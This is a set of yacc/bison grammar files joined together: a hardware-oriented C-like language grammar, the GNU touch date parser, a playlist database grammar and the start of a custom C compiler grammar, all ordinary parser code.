if ((f = (Template*)prog.funDefs->find($1)) == NULL) {
yyerror("Undefined function template");
}
else {
$$ = new TempCall(f, $6, $3);
}
}
;
postfix_expression
: primary_expression
| array_or_bit_ref
| struct_ref
| subrange
| to_uint_expression
| to_uint64_expression
;
// In order to distinguish between a bit reference and a (syntactically equivalent) array
// reference, the base must be examin<ed:
array_or_bit_ref
: postfix_expression '[' expression ']'
{
if ($1->isArrayParam()) {
$$ = new ArrayParamRef((SymRef*)$1, $3);
}
else if ($1->isArray()) {
$$ = new ArrayRef($1, $3);
}
else {
$$ = new BitRef($1, $3);
}
}
;
struct_ref
: postfix_expression '.' ID {$$ = new StructRef($1, $3);}
subrange
: postfix_expression '.' RANGE '(' expression ',' expression ')' {$$ = new Subrange($1, $5, $7);}
| postfix_expression '.' SLC '<' NAT '>' '(' expression ')'
{
uint diff = (new Integer($5))->evalConst() - 1;
if ($8->isConst()) {
$$ = new Subrange($1, new Integer($8->evalConst() + diff), $8);
}
else {
$$ = new Subrange($1, new BinaryExpr($8, new Integer(diff), newstr("+")), $8);
}
}
to_uint_expression
: postfix_expression '.' TO_UINT '(' ')' {$$ = new ToUintExpr($1);}
;
to_uint64_expression
: postfix_expression '.' TO_UINT64 '(' ')' {$$ = new ToUint64Expr($1);}
;
prefix_expression
: postfix_expression
| unary_op prefix_expression {$$ = new PrefixExpr($2, $1);}
| '(' type_spec ')' prefix_expression {$$ = new CastExpr($4, $2);}
| type_spec '(' expression ')' {$$ = new CastExpr($3, $1);}
;
unary_op
: '+'
| '-'
| '~'
| '!'
;
mult_expression
: prefix_expression
| mult_expression '*' prefix_expression {$$ = new BinaryExpr($1, $3, $2);}
| mult_expression '/' prefix_expression {$$ = new BinaryExpr($1, $3, $2);}
| mult_expression '%' prefix_expression {$$ = new BinaryExpr($1, $3, $2);}
;
add_expression
: mult_expression
| add_expression '+' mult_expression {$$ = new BinaryExpr($1, $3, $2);}
| add_expression '-' mult_expression {$$ = new BinaryExpr($1, $3, $2);}
;
arithmetic_expression
: add_expression
| arithmetic_expression LSHFT_OP add_expression {$$ = new BinaryExpr($1, $3, $2);}
| arithmetic_expression RSHFT_OP add_expression {$$ = new BinaryExpr($1, $3, $2);}
;
rel_expression
: arithmetic_expression
| rel_expression '<' arithmetic_expression {$$ = new BinaryExpr($1, $3, $2);}
| rel_expression '>' arithmetic_expression {$$ = new BinaryExpr($1, $3, $2);}
| rel_expression LE_OP arithmetic_expression {$$ = new BinaryExpr($1, $3, $2);}
| rel_expression GE_OP arithmetic_expression {$$ = new BinaryExpr($1, $3, $2);}
;
eq_expression
: rel_expression
| eq_expression EQ_OP rel_expression {$$ = new BinaryExpr($1, $3, $2);}
| eq_expression NE_OP rel_expression {$$ = new BinaryExpr($1, $3, $2);}
;
and_expression
: eq_expression
| and_expression '&' eq_expression {$$ = new BinaryExpr($1, $3, $2);}
;
xor_expression
: and_expression
| xor_expression '^' and_expression {$$ = new BinaryExpr($1, $3, $2);}
;
ior_expression
: xor_expression
| ior_expression '|' xor_expression {$$ = new BinaryExpr($1, $3, $2);}
;
log_and_expression
: ior_expression
| log_and_expression AND_OP ior_expression {$$ = new BinaryExpr($1, $3, $2);}
;
log_or_expression
: log_and_expression
| log_or_expression OR_OP log_and_expression {$$ = new BinaryExpr($1, $3, $2);}
;
cond_expression
: log_or_expression
| log_or_expression '?' expression ':' cond_expression {$$ = new CondExpr($3, $5, $1);}
;
mv_expression
: mv_type '(' expr_list ')' {$$ = new MultipleValue((MvType*)$1, $3);}
;
expression
: cond_expression
| mv_expression
;
expr_list
: {$$ = NULL;}
| nontrivial_expr_list {$$ = $1;}
;
nontrivial_expr_list
: expression {$$ = new List<Expression>($1);}
| nontrivial_expr_list ',' expression {$$ = $1->add($3);}
;
arith_expr_list
: {$$ = NULL;}
| nontrivial_arith_expr_list {$$ = $1;}
;
nontrivial_arith_expr_list
: arithmetic_expression {$$ = new List<Expression>($1);}
| nontrivial_arith_expr_list ',' arithmetic_expression {$$ = $1->add($3);}
;
//*************************************************************************************
// Statements
//*************************************************************************************tes
statement
: simple_statement ';'
| block
| iterative_statement
| if_statement
| switch_statement
| MASC symbol_ref ID '{' nontrivial_expr_list '}' statement
{$$ = $7; $$->var = (SymRef*)$2; $$->vals = (List<Constant>*)$5;}
;
simple_statement
: var_dec
| const_dec
| multiple_var_dec
| multiple_const_dec
| wait_statement
| continue_statement
| break_statement
| return_statement
| assignment
| multiple_assignment
| assertion
| null_statement
;
var_dec
: type_spec untyped_var_dec
{
$$ = $2;
Type *t = ((VarDec*)$$)->type;
if (t) {
((ArrayType*)t)->baseType = $1;
}
else {
((VarDec*)$$)->type = $1;
}
}
;
untyped_var_dec
: ID
{$$ = new VarDec($1, NULL); symTab->push((VarDec*)$$);}
| ID '=' expression
{$$ = new VarDec($1, NULL, $3); symTab->push((VarDec*)$$);}
| ID '=' array_init
{$$ = new VarDec($1, NULL, $3); symTab->push((VarDec*)$$);}
| ID '[' arithmetic_expression ']'
{
if ($3->isConst() && $3->evalConst() > 0) {
$$ = new VarDec($1, new ArrayType($3, NULL)); symTab->push((VarDec*)$$);
}
else {
yyerror("Non-constant array dimension");
}
}
| ID '[' arithmetic_expression ']' '=' array_init
{
if ($3->isConst() && $3->evalConst() > 0) {
$$ = new VarDec($1, new ArrayType($3, NULL), $6); symTab->push((VarDec*)$$);
}
else {
yyerror("Non-constant array dimension");
}
}
;
array_init
: '{' array_init_list '}' {$$ = new Initializer((List<Constant>*)($2->front));}
;
array_init_list
: expression {$$ = new BigList<Expression>($1);}
| array_init_list ',' expression {$$ = $1->add($3);}
;
const_dec
: CONST type_spec untyped_const_dec
{
$$ = $3;
Type *t = ((ConstDec*)$$)->type;
if (t) {
((ArrayType*)t)->baseType = $2;
}
else {
((ConstDec*)$$)->type = $2;
}
}
;
untyped_const_dec
: ID '=' expression
{$$ = new ConstDec($1, NULL, $3); symTab->push((ConstDec*)$$);}
| ID '=' array_init
{$$ = new ConstDec($1, NULL, $3); symTab->push((ConstDec*)$$);}
| ID '[' arithmetic_expression ']' '=' array_init
{
if ($3->isConst() && $3->evalConst() > 0) {
$$ = new ConstDec($1, new ArrayType($3, NULL), $6); symTab->push((ConstDec*)$$);
}
else {
yyerror("Non-constant array dimension");
}
}
;
multiple_var_dec
: var_dec ',' untyped_var_dec
{
if (((VarDec*)$3)->type) {
((ArrayType*)(((VarDec*)$3)->type))->baseType = ((ArrayType*)(((VarDec*)$1)->type))->baseType;
}
else {
((VarDec*)$3)->type = ((VarDec*)$1)->type;
}
$$ = new MulVarDec((VarDec*)$1, (VarDec*)$3);
}
| multiple_var_dec ',' untyped_var_dec
{
if (((VarDec*)$3)->type) {
((ArrayType*)(((VarDec*)$3)->type))->baseType = ((ArrayType*)((MulVarDec*)$1)->decs->value->type)->baseType;
}
else {
((VarDec*)$3)->type = ((MulVarDec*)$1)->decs->value->type;
}
$$ = $1;
((MulVarDec*)$$)->decs->add((VarDec*)$3);
}
;
multiple_const_dec
: const_dec ',' untyped_const_dec
{
if (((ConstDec*)$3)->type) {
((ArrayType*)(((ConstDec*)$3)->type))->baseType = ((ArrayType*)(((ConstDec*)$1)->type))->baseType;
}
else {
((ConstDec*)$3)->type = ((ConstDec*)$1)->type;
}
$$ = new MulConstDec((ConstDec*)$1, (ConstDec*)$3);
}
| multiple_const_dec ',' untyped_const_dec
{
if (((ConstDec*)$3)->type) {
((ArrayType*)(((ConstDec*)$3)->type))->baseType = ((ArrayType*)((MulConstDec*)$1)->decs->value->type)->baseType;
}
else {
((ConstDec*)$3)->type = ((MulConstDec*)$1)->decs->value->type;
}
$$ = $1;
((MulConstDec*)$$)->decs->add((ConstDec*)$3);
}
;
wait_statement
: WAIT '(' ')' {$$ = new WaitStmt;}
;
continue_statement
: CONTINUE {$$ = new ContStmt;}
;
break_statement
: BREAK {$$ = &breakStmt;}
;
return_statement
: RETURN {$$ = new ReturnStmt(NULL);}
| RETURN expression {$$ = new ReturnStmt($2);}
;
assignment
: expression assign_op expression {$$ = new Assignment($1, $2, $3);}
| expression inc_op {$$ = new Assignment($1, $2, NULL);}
| postfix_expression '.' SET_SLC '(' expression ',' expression ')'
{
Type *type = $7->exprType();
if (!type) {
yyerror("Second arg of set_slc must be an expression of defined type");
}
else {
type = type->derefType();
if (!(type->isRegType())) {
yyerror("Second arg of set_slc must be an expression of register type");
}
else {
Expression *top;
if ($5->isConst()) {
top = new Integer($5->evalConst() + ((RegType*)type)->width->evalConst() - 1);
}
else {
top = new BinaryExpr($5, new Integer(((RegType*)type)->width->evalConst() - 1), newstr("+"));
}
$$ = new Assignment(new Subrange($1, top, $5), "=", $7);
}
}
}
;
assign_op
: '='
| RSHFT_ASSIGN
| LSHFT_ASSIGN
| ADD_ASSIGN
| SUB_ASSIGN
| MUL_ASSIGN
| MOD_ASSIGN
| AND_ASSIGN
| XOR_ASSIGN
| OR_ASSIGN
;
inc_op
: INC_OP
| DEC_OP
;
multiple_assignment
: TIE '(' nontrivial_expr_list ')' '=' postfix_expression
{$$ = new MultipleAssignment((FunCall*)$6, $3);}
;
assertion
: ASSERT '(' expression ')' {$$ = new Assertion($3);}
;
null_statement
: {$$ = new NullStmt;}
;
block
: '{' {symTab->pushFrame();} statement_list '}' {symTab->popFrame(); $$ = new Block($3);}
;
statement_list
: {$$ = NULL;}
| statement_list statement {$$ = $1 ? $1->add($2) : new List<Statement>($2);}
;
iterative_statement
: for_statement
| while_statement
| do_statement
| MASC constant ID iterative_statement {$4->iterBound = $2; $$ = $4;}
| MASC symbol_ref ID iterative_statement {$4->iterBound = $2; $$ = $4;}
;
for_statement
: FOR {symTab->pushFrame();} '(' for_init ';' expression ';' assignment ')'
statement
{
$$ = new ForStmt((SimpleStatement*)$4, $6, (Assignment*)$8, $10);
symTab->popFrame();
}
;
for_init
: var_dec {symTab->push((VarDec*)$1);}
| assignment
;
while_statement
: WHILE '(' expression ')' statement {$$ = new WhileStmt($3, $5);}
;
do_statement
: DO statement WHILE '(' expression ')' ';' {$$ = new DoStmt($2, $5);}
;
if_statement
: IF '(' expression ')' statement {$$ = new IfStmt($3, $5, NULL);}
| IF '(' expression ')' statement ELSE statement {$$ = new IfStmt($3, $5, $7);}
;
switch_statement
: SWITCH '(' expression ')' '{' case_list '}' {$$ = new SwitchStmt($3, $6);}
;
case_list
: case {$$ = new List<Case>($1);}
| case_list case {$$ = $1->add($2);}
;
case
: CASE case_label ':' statement_list {$$ = new Case($2, $4);}
| DEFAULT ':' statement_list {$$ = new Case(NULL, $3);}
;
case_label
: constant
| symbol_ref
{
if ($1->exprType()->isEnumType()) {
$$ = $1;
}
else {
yyerror("case label must be an integer or an enum constant");
}
}
//*************************************************************************************
// Function Definitions
//*************************************************************************************
func_def
: type_spec ID {symTab->pushFrame();} '(' param_dec_list ')' block
{$$ = new FunDef($2, $1, $5, (Block*)$7); symTab->popFrame();}
| func_template
;
param_dec_list
: {$$ = NULL;}
| nontrivial_param_dec_list
;
nontrivial_param_dec_list
: var_dec {$$ = new List<VarDec>((VarDec*)$1);}
| nontrivial_param_dec_list ',' var_dec {$$ = $1->add((VarDec*)$3);}
;
func_template
: TEMPLATE {symTab->pushFrame();} '<' template_param_dec_list '>'
type_spec ID '(' param_dec_list ')' block
{
$$ = new Template($7, $6, $9, (Block*)$11, $4); symTab->popFrame();
if (!prog.templates) {
prog.templates = new List<Template>((Template*)$$);
}
else {
prog.templates->add((Template*)$$);
}
}
;
template_param_dec_list
: {$$ = NULL;}
| nontrivial_template_param_dec_list
;
nontrivial_template_param_dec_list
: template_param_dec {$$ = new List<TempParamDec>((TempParamDec*)$1);}
| nontrivial_template_param_dec_list ',' template_param_dec {$$ = $1->add((TempParamDec*)$3);}
;
template_param_dec
: type_spec ID {$$ = new TempParamDec($2, $1);symTab->push((TempParamDec*)$$);}
;
%%
#include <stdio.h>
void yyerror(const char *s) {
fflush(stdout);
fprintf(stderr, "%s:%d: %s\n", yyfilenm, yylineno, s);
}
|
<reponame>fengjixuchui/Family<gh_stars>1-10
/* Parse dates for touch.
Copyright (C) 1989, 1990, 1991 Free Software Foundation Inc.
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2, or (at your option)
any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. */
/* Written by <NAME> and <NAME>. */
%{
#ifdef HAVE_CONFIG_H
#include <config.h>
#endif
/* The following block of alloca-related preprocessor directives is here
solely to allow compilation by non GNU-C compilers of the C parser
produced from this file by old versions of bison. Newer versions of
bison include a block similar to this one in bison.simple. */
#ifdef __GNUC__
#define alloca __builtin_alloca
#else
#ifdef HAVE_ALLOCA_H
#include <alloca.h>
#else
#ifdef _AIX
#pragma alloca
#else
void *alloca ();
#endif
#endif
#endif
#include <stdio.h>
#include <sys/types.h>
#ifdef TM_IN_SYS_TIME
#include <sys/time.h>
#else
#include <time.h>
#endif
/* Some old versions of bison generate parsers that use bcopy.
That loses on systems that don't provide the function, so we have
to redefine it here. */
#if !defined (HAVE_BCOPY) && defined (HAVE_MEMCPY) && !defined (bcopy)
#define bcopy(from, to, len) memcpy ((to), (from), (len))
#endif
#define YYDEBUG 1
/* Lexical analyzer's current scan position in the input string. */
static char *curpos;
/* The return value. */
static struct tm t;
time_t mktime ();
#define yyparse posixtime_yyparse
static int yylex ();
static int yyerror ();
%}
%token DIGIT
%%
date :
digitpair /* month */
digitpair /* day */
digitpair /* hours */
digitpair /* minutes */
year
seconds {
if ($1 >= 1 && $1 <= 12)
t.tm_mon = $1 - 1;
else {
YYABORT;
}
if ($2 >= 1 && $2 <= 31)
t.tm_mday = $2;
else {
YYABORT;
}
if ($3 >= 0 && $3 <= 23)
t.tm_hour = $3;
else {
YYABORT;
}
if ($4 >= 0 && $4 <= 59)
t.tm_min = $4;
else {
YYABORT;
}
}
year : digitpair {
t.tm_year = $1;
/* Deduce the century based on the year.
See POSIX.2 section 4.63.3. */
if ($1 <= 68)
t.tm_year += 100;
}
| digitpair digitpair {
t.tm_year = $1 * 100 + $2;
if (t.tm_year < 1900) {
YYABORT;
} else
t.tm_year -= 1900;
}
| /* empty */ {
time_t now;
struct tm *tmp;
/* Use current year. */
time (&now);
tmp = localtime (&now);
t.tm_year = tmp->tm_year;
}
;
seconds : /* empty */ {
t.tm_sec = 0;
}
| '.' digitpair {
if ($2 >= 0 && $2 <= 61)
t.tm_sec = $2;
else {
YYABORT;
}
}
;
digitpair : DIGIT DIGIT {
$$ = $1 * 10 + $2;
}
;
%%
static int
yylex ()
{
char ch = *curpos++;
if (ch >= '0' && ch <= '9')
{
yylval = ch - '0';
return DIGIT;
}
else if (ch == '.' || ch == 0)
return ch;
else
return '?'; /* Cause an error. */
}
static int
yyerror ()
{
return 0;
}
/* Parse a POSIX-style date and return it, or (time_t)-1 for an error. */
time_t
posixtime (s)
char *s;
{
curpos = s;
/* Let mktime decide whether it is daylight savings time. */
t.tm_isdst = -1;
if (yyparse ())
return (time_t)-1;
else
return mktime (&t);
}
/* Parse a POSIX-style date and return it, or NULL for an error. */
struct tm *
posixtm (s)
char *s;
{
if (posixtime (s) == -1)
return NULL;
return &t;
}
|
<reponame>dk00/old-stuff<filename>csie/10compiler/cpppp/pro.y
%{
#include<stdio.h>
#include<string>
#include"db.h"
using namespace std;
#define YYSTYPE const char*
int yyparse(void);
extern "C" {
int yylex(void);
int yywrap(){ return 1;}
}
extern int lineno;
int yyerror(char*);
extern DB myDB;
Item tmpItem;
PlayList tmpPlayList("");
%}
%token TITLE ARTIST FILENAME PLAYLIST ITEM ID VAL
%%
DataBase : Blocks;
Blocks : /*empty*/
| Blocks Item
| Blocks List
;
Item : '{'
{ tmpItem = Item(); }
AttributeList '}'
{ myDB += tmpItem; }
TagList
;
TagList : /*empty*/
| ID
{ myDB.setTag(tmpItem, $1); }
TagTail
;
TagTail : /*empty*/
| ',' ID
{ myDB.setTag(tmpItem, $2); }
TagTail
;
AttributeList : /*empty*/
| AttributeList Attribute
;
Attribute : TITLE VAL { tmpItem.title = $2; }
| ARTIST VAL { tmpItem.artist = $2;}
| FILENAME VAL { tmpItem.filename = $2;}
;
List : PLAYLIST VAL
{ tmpPlayList = PlayList($2); }
'{' ListContent '}'
{ myDB += tmpPlayList;}
;
ListContent : /*empty*/
| ListContent ListItem
;
ListItem : ITEM VAL
{ tmpPlayList += myDB.getId($2); }
| ITEM ID
{
const vector<int>& tmpVector = myDB.getTagId($2);
for(int i=0;i<tmpVector.size();++i)
tmpPlayList += tmpVector[i];
}
;
%%
int yyerror(char *msg) {
printf("Fail (around line %d) \n", lineno);
}
|
<filename>software/tools/compiler/Parser.y<gh_stars>10-100
%{
#include <stdio.h>
#include <stdlib.h>
#include "ast.h"
extern int yyerror(char *s);
extern int yylex(void);
extern char *yytext;
extern cAstNode *root;
%}
%union {
void *a;
}
%token IDENTIFIER I_CONSTANT F_CONSTANT STRING_LITERAL FUNC_NAME SIZEOF
%token PTR_OP INC_OP DEC_OP LEFT_OP RIGHT_OP LE_OP GE_OP EQ_OP NE_OP
%token AND_OP OR_OP MUL_ASSIGN DIV_ASSIGN MOD_ASSIGN ADD_ASSIGN
%token SUB_ASSIGN LEFT_ASSIGN RIGHT_ASSIGN AND_ASSIGN
%token XOR_ASSIGN OR_ASSIGN
%token TYPEDEF_NAME ENUM_CONSTANT
%token TYPEDEF EXTERN STATIC AUTO REGISTER INLINE KERNEL CLASS NT1 NT2 NT4 NT8 NT16
%token CONST RESTRICT VOLATILE
%token BOOL CHAR SHORT INT LONG SIGNED UNSIGNED FLOAT FLOAT2 FLOAT4 FLOAT8 FLOAT16 DOUBLE VOID RESULT POINTER_SCOPE
%token COMPLEX IMAGINARY
%token STRUCT UNION ENUM ELLIPSIS
%token CASE DEFAULT IF ELSE SWITCH WHILE DO FOR GOTO CONTINUE BREAK RETURN
%token ALIGNAS ALIGNOF ATOMIC GENERIC NORETURN STATIC_ASSERT SHARE GLOBAL
%type <a> identifier i_constant f_constant string_literal func_name sizeof
%type <a> ptr_op inc_op dec_op left_op right_op le_op ge_op eq_op ne_op
%type <a> and_op or_op mul_assign div_assign mod_assign add_assign
%type <a> sub_assign left_assign right_assign and_assign
%type <a> xor_assign or_assign
%type <a> typedef_name enum_constant
%type <a> typedef extern static auto register inline kernel
%type <a> nt1 nt2 nt4 nt8 nt16 class_declaration class_specifier class class_declaration_list class_name
%type <a> const restrict volatile
%type <a> bool char short int long signed unsigned float float2 float4 float8 float16 double void result pointer_scope
%type <a> complex imaginary
%type <a> struct union enum ellipsis
%type <a> case default if else switch while do for goto continue break return
%type <a> alignas alignof atomic generic noreturn static_assert share global
%type <a> primary_expression constant enumeration_constant string generic_selection generic_assoc_list
%type <a> generic_association postfix_expression argument_expression_list unary_expression unary_operator
%type <a> cast_expression multiplicative_expression additive_expression shift_expression relational_expression
%type <a> equality_expression and_expression exclusive_or_expression inclusive_or_expression logical_and_expression
%type <a> logical_or_expression conditional_expression assignment_expression assignment_operator expression
%type <a> constant_expression declaration declaration_specifiers init_declarator_list init_declarator
%type <a> storage_class_specifier type_specifier struct_or_union_specifier struct_or_union struct_declaration_list
%type <a> struct_declaration specifier_qualifier_list struct_declarator_list struct_declarator enum_specifier enumerator_list
%type <a> enumerator atomic_type_specifier type_qualifier function_specifier alignment_specifier declarator
%type <a> direct_declarator pointer type_qualifier_list parameter_type_list parameter_list parameter_declaration
%type <a> identifier_list type_name abstract_declarator direct_abstract_declarator initializer initializer_list
%type <a> designation designator_list designator static_assert_declaration statement labeled_statement compound_statement
%type <a> block_item_list block_item expression_statement selection_statement iteration_statement jump_statement
%type <a> translation_unit external_declaration function_definition declaration_list
%type <a> pointer_scope_list
%start translation_unit
%%
identifier : IDENTIFIER {$$=ast_newidentifier(eTOKEN_IDENTIFIER,yytext);};
i_constant : I_CONSTANT {$$=ast_newint(eTOKEN_I_CONSTANT,yytext);};
f_constant : F_CONSTANT {$$=ast_newfloat(eTOKEN_F_CONSTANT,yytext);};
string_literal : STRING_LITERAL {$$=ast_newstring(eTOKEN_STRING_LITERAL,yytext);};
func_name : FUNC_NAME {$$=ast_newtoken(eTOKEN_FUNC_NAME,0);};
sizeof : SIZEOF {$$=ast_newtoken(eTOKEN_SIZEOF,0);};
ptr_op : PTR_OP {$$=ast_newtoken(eTOKEN_PTR_OP,0);};
inc_op : INC_OP {$$=ast_newtoken(eTOKEN_INC_OP,0);};
dec_op : DEC_OP {$$=ast_newtoken(eTOKEN_DEC_OP,0);};
left_op : LEFT_OP {$$=ast_newtoken(eTOKEN_LEFT_OP,0);};
right_op : RIGHT_OP {$$=ast_newtoken(eTOKEN_RIGHT_OP,0);};
le_op : LE_OP {$$=ast_newtoken(eTOKEN_LE_OP,0);};
ge_op : GE_OP {$$=ast_newtoken(eTOKEN_GE_OP,0);};
eq_op : EQ_OP {$$=ast_newtoken(eTOKEN_EQ_OP,0);};
ne_op : NE_OP {$$=ast_newtoken(eTOKEN_NE_OP,0);};
and_op : AND_OP {$$=ast_newtoken(eTOKEN_AND_OP,0);};
or_op : OR_OP {$$=ast_newtoken(eTOKEN_OR_OP,0);};
mul_assign : MUL_ASSIGN {$$=ast_newtoken(eTOKEN_MUL_ASSIGN,0);};
div_assign : DIV_ASSIGN {$$=ast_newtoken(eTOKEN_DIV_ASSIGN,0);};
mod_assign : MOD_ASSIGN {$$=ast_newtoken(eTOKEN_MOD_ASSIGN,0);};
add_assign : ADD_ASSIGN {$$=ast_newtoken(eTOKEN_ADD_ASSIGN,0);};
sub_assign : SUB_ASSIGN {$$=ast_newtoken(eTOKEN_SUB_ASSIGN,0);};
left_assign : LEFT_ASSIGN {$$=ast_newtoken(eTOKEN_LEFT_ASSIGN,0);};
right_assign : RIGHT_ASSIGN {$$=ast_newtoken(eTOKEN_RIGHT_ASSIGN,0);};
and_assign : AND_ASSIGN {$$=ast_newtoken(eTOKEN_AND_ASSIGN,0);};
xor_assign : XOR_ASSIGN {$$=ast_newtoken(eTOKEN_XOR_ASSIGN,0);};
or_assign : OR_ASSIGN {$$=ast_newtoken(eTOKEN_OR_ASSIGN,0);};
typedef_name : TYPEDEF_NAME {$$=ast_newstring(eTOKEN_TYPEDEF_NAME,yytext);};
enum_constant : ENUM_CONSTANT {$$=ast_newstring(eTOKEN_ENUMERATION_CONSTANT,yytext);};
typedef : TYPEDEF {$$=ast_newtoken(eTOKEN_TYPEDEF,0);};
extern : EXTERN {$$=ast_newtoken(eTOKEN_EXTERN,0);};
static : STATIC {$$=ast_newtoken(eTOKEN_STATIC,0);};
auto : AUTO {$$=ast_newtoken(eTOKEN_AUTO,0);};
register : REGISTER {$$=ast_newtoken(eTOKEN_REGISTER,0);};
inline : INLINE {$$=ast_newtoken(eTOKEN_INLINE,0);};
kernel : KERNEL {$$=ast_newtoken(eTOKEN_KERNEL,0);};
class : CLASS {$$=ast_newtoken(eTOKEN_CLASS,0);};
nt1 : NT1 {$$=ast_newtoken(eTOKEN_NT1,0);};
nt2 : NT2 {$$=ast_newtoken(eTOKEN_NT2,0);};
nt4 : NT4 {$$=ast_newtoken(eTOKEN_NT4,0);};
nt8 : NT8 {$$=ast_newtoken(eTOKEN_NT8,0);};
nt16 : NT16 {$$=ast_newtoken(eTOKEN_NT16,0);};
const : CONST {$$=ast_newtoken(eTOKEN_CONST,0);};
restrict : RESTRICT {$$=ast_newtoken(eTOKEN_RESTRICT,0);};
volatile : VOLATILE {$$=ast_newtoken(eTOKEN_VOLATILE,0);};
bool : BOOL {$$=ast_newtoken(eTOKEN_BOOL,0);};
char : CHAR {$$=ast_newtoken(eTOKEN_CHAR,0);};
short : SHORT {$$=ast_newtoken(eTOKEN_SHORT,0);};
int : INT {$$=ast_newtoken(eTOKEN_INT,0);};
long : LONG {$$=ast_newtoken(eTOKEN_LONG,0);};
signed : SIGNED {$$=ast_newtoken(eTOKEN_SIGNED,0);};
unsigned : UNSIGNED {$$=ast_newtoken(eTOKEN_UNSIGNED,0);};
float : FLOAT {$$=ast_newtoken(eTOKEN_FLOAT,0);};
float2 : FLOAT2 {$$=ast_newtoken(eTOKEN_FLOAT,1);};
float4 : FLOAT4 {$$=ast_newtoken(eTOKEN_FLOAT,2);};
float8 : FLOAT8 {$$=ast_newtoken(eTOKEN_FLOAT,3);};
float16 : FLOAT16 {$$=ast_newtoken(eTOKEN_FLOAT,4);};
double : DOUBLE {$$=ast_newtoken(eTOKEN_DOUBLE,0);};
void : VOID {$$=ast_newtoken(eTOKEN_VOID,0);};
result : RESULT {$$=ast_newtoken(eTOKEN_RESULT,0);};
complex : COMPLEX {$$=ast_newtoken(eTOKEN_COMPLEX,0);};
imaginary : IMAGINARY {$$=ast_newtoken(eTOKEN_IMAGINARY,0);};
struct : STRUCT {$$=ast_newtoken(eTOKEN_STRUCT,0);};
union : UNION {$$=ast_newtoken(eTOKEN_UNION,0);};
enum : ENUM {$$=ast_newtoken(eTOKEN_ENUM,0);};
ellipsis : ELLIPSIS {$$=ast_newtoken(eTOKEN_ELLIPSIS,0);};
case : CASE {$$=ast_newtoken(eTOKEN_CASE,0);};
default : DEFAULT {$$=ast_newtoken(eTOKEN_DEFAULT,0);};
if : IF {$$=ast_newtoken(eTOKEN_IF,0);};
else : ELSE {$$=ast_newtoken(eTOKEN_ELSE,0);};
switch : SWITCH {$$=ast_newtoken(eTOKEN_SWITCH,0);};
while : WHILE {$$=ast_newtoken(eTOKEN_WHILE,0);};
do : DO {$$=ast_newtoken(eTOKEN_DO,0);};
for : FOR {$$=ast_newtoken(eTOKEN_FOR,0);};
goto : GOTO {$$=ast_newtoken(eTOKEN_GOTO,0);};
continue : CONTINUE {$$=ast_newtoken(eTOKEN_CONTINUE,0);};
break : BREAK {$$=ast_newtoken(eTOKEN_BREAK,0);};
return : RETURN {$$=ast_newtoken(eTOKEN_RETURN,0);};
alignas : ALIGNAS {$$=ast_newtoken(eTOKEN_ALIGNAS,0);};
alignof : ALIGNOF {$$=ast_newtoken(eTOKEN_ALIGNOF,0);};
atomic : ATOMIC {$$=ast_newtoken(eTOKEN_ATOMIC,0);};
generic : GENERIC {$$=ast_newtoken(eTOKEN_GENERIC,0);};
noreturn : NORETURN {$$=ast_newtoken(eTOKEN_NORETURN,0);};
static_assert : STATIC_ASSERT {$$=ast_newtoken(eTOKEN_STATIC_ASSERT,0);};
share : SHARE {$$=ast_newtoken(eTOKEN_SHARE,0);};
global : GLOBAL {$$=ast_newtoken(eTOKEN_GLOBAL,0);};
primary_expression
: identifier {$$=ast_newnode(eTOKEN_primary_expression,1,$1);}
| constant {$$=ast_newnode(eTOKEN_primary_expression,1,$1);}
| string {$$=ast_newnode(eTOKEN_primary_expression,1,$1);}
| '(' expression ')' {$$=ast_newnode(eTOKEN_primary_expression,1,$2);}
| generic_selection {$$=ast_newnode(eTOKEN_primary_expression,1,$1);}
;
constant
: i_constant {$$=ast_newnode(eTOKEN_constant,1,$1);}
| f_constant {$$=ast_newnode(eTOKEN_constant,1,$1);}
| enum_constant {$$=ast_newnode(eTOKEN_constant,1,$1);} /* after it has been defined as such */
;
enumeration_constant /* before it has been defined as such */
: identifier {$$=ast_newnode(eTOKEN_enumeration_constant,1,$1);}
;
string
: string_literal {$$=ast_newnode(eTOKEN_string,1,$1);}
| func_name {$$=ast_newnode(eTOKEN_string,1,$1);}
;
generic_selection
: generic '(' assignment_expression ',' generic_assoc_list ')' {$$=ast_newnode(eTOKEN_generic_selection,3,$1,$3,$5);}
;
generic_assoc_list
: generic_association {$$=ast_newnode(eTOKEN_generic_assoc_list,1,$1);}
| generic_assoc_list ',' generic_association {$$=ast_newnode(eTOKEN_generic_assoc_list,2,$1,$3);}
;
generic_association
: type_name ':' assignment_expression {$$=ast_newnode(eTOKEN_generic_association,2,$1,$3);}
| default ':' assignment_expression {$$=ast_newnode(eTOKEN_generic_association,2,$1,$3);}
;
postfix_expression
: primary_expression {$$=ast_newnode(eTOKEN_postfix_expression1,1,$1);}
| postfix_expression '[' expression ']' {$$=ast_newnode(eTOKEN_postfix_expression2,2,$1,$3);}
| postfix_expression '(' ')' {$$=ast_newnode(eTOKEN_postfix_expression3,1,$1);}
| postfix_expression '(' argument_expression_list ')' {$$=ast_newnode(eTOKEN_postfix_expression4,2,$1,$3);}
| postfix_expression '.' identifier {$$=ast_newnode(eTOKEN_postfix_expression5,2,$1,$3);}
| postfix_expression ptr_op identifier {$$=ast_newnode(eTOKEN_postfix_expression6,3,$1,$2,$3);}
| postfix_expression inc_op {$$=ast_newnode(eTOKEN_postfix_expression7,2,$1,$2);}
| postfix_expression dec_op {$$=ast_newnode(eTOKEN_postfix_expression8,2,$1,$2);}
| '(' type_name ')' '{' initializer_list '}' {$$=ast_newnode(eTOKEN_postfix_expression9,2,$2,$5);}
| '(' type_name ')' '{' initializer_list ',' '}' {$$=ast_newnode(eTOKEN_postfix_expression10,2,$2,$5);}
;
argument_expression_list
: assignment_expression {$$=ast_newnode(eTOKEN_argument_expression_list,1,$1);}
| argument_expression_list ',' assignment_expression {$$=ast_newnode(eTOKEN_argument_expression_list,2,$1,$3);}
;
unary_expression
: postfix_expression {$$=ast_newnode(eTOKEN_unary_expression,1,$1);}
| inc_op unary_expression {$$=ast_newnode(eTOKEN_unary_expression,2,$1,$2);}
| dec_op unary_expression {$$=ast_newnode(eTOKEN_unary_expression,2,$1,$2);}
| unary_operator cast_expression {$$=ast_newnode(eTOKEN_unary_expression,2,$1,$2);}
